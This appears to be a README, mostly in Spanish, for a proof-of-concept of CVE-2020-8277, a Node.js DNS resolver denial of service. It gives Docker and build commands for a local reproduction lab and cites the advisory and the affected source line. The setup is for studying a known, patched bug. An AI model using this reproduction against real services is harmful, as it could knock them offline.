
Prueba de concepto del exploit para CVE-2020-8277, una vulnerabilidad de denegación de servicio en el resolutor DNS de Node.js provocada por respuestas de registros de gran tamaño, con entorno de reproducción basado en Docker.
Solo con fines educativos.
# clone this repository
$ git clone https://github.com/masahiro331/CVE-2020-8277
# run bind
$ docker build -t bind-local ./bind
# Need TCP fallback
$ docker run --rm --name bind -it -p 53:53 -p 53:53/udp bind
# use "< v15.2.1" version
# If you use fixed version, build node.
$ git clone https://github.com/nodejs/node
$ git checkout df211208c0
$ ./configure
$ make -j8
$ make install
# Run PoC
$ node main.js
Consulte la Referencia para los detalles.
https://nodejs.org/en/blog/vulnerability/november-2020-security-releases/
El aviso indica que resolver un nombre de host que devuelve un gran número de registros resultará en DoS.
La vulnerabilidad presenta un error de lectura fuera de la memoria.
Línea afectada.
https://github.com/nodejs/node/blob/1fd2c8142b611baadc973947b83c0863cb003d9d/src/cares_wrap.cc#L764